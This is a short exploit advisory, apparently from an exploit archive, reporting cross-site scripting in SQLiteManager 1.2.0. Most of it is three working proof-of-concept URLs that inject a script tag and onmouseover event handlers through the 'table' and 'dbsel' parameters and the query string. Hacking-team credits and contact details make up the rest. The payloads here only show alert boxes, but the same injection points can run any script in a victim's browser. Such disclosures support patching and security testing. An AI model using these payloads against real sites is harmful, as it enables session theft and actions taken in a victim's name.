################################################################# [+] Exploit Title: SQLiteManager version 1.2.0 Cross Site Scripting Vulnerability [+] Author: Cair3x [+] Team : [ Ajax ] Security Team ###########################[ Exploit ]########################### Exploit 1 : http://localhost/sqlitemanager/main.php? action=export&dbsel=1&drop=1&export_action=go&fullInsert=1&function=&queryExport=SELECT%20*%20FROM%20t1&table=%0D%0A %20%3Cscript%3Ealert%280%29%3C/script%3E&trans=1&type=1&view=&win=1 Exploit 2 : http://localhost/sqlitemanager/index.php?dbsel=%22%20onmouseover%3dalert%28987195%29%20bad%3d%22 Exploit 3 : http://localhost/sqlitemanager/?%22onmouseover=alert%28914071%29%3E ###########################[ Exploit ]########################### ################################################################# BY : Cair3x [Cair3x.Support@Gmail.com] Web Site : Ajaxtm.Com Forum : http://Ajaxtm.com/ [+] We Are : HUrr!c4nE , Cair3x #################################################################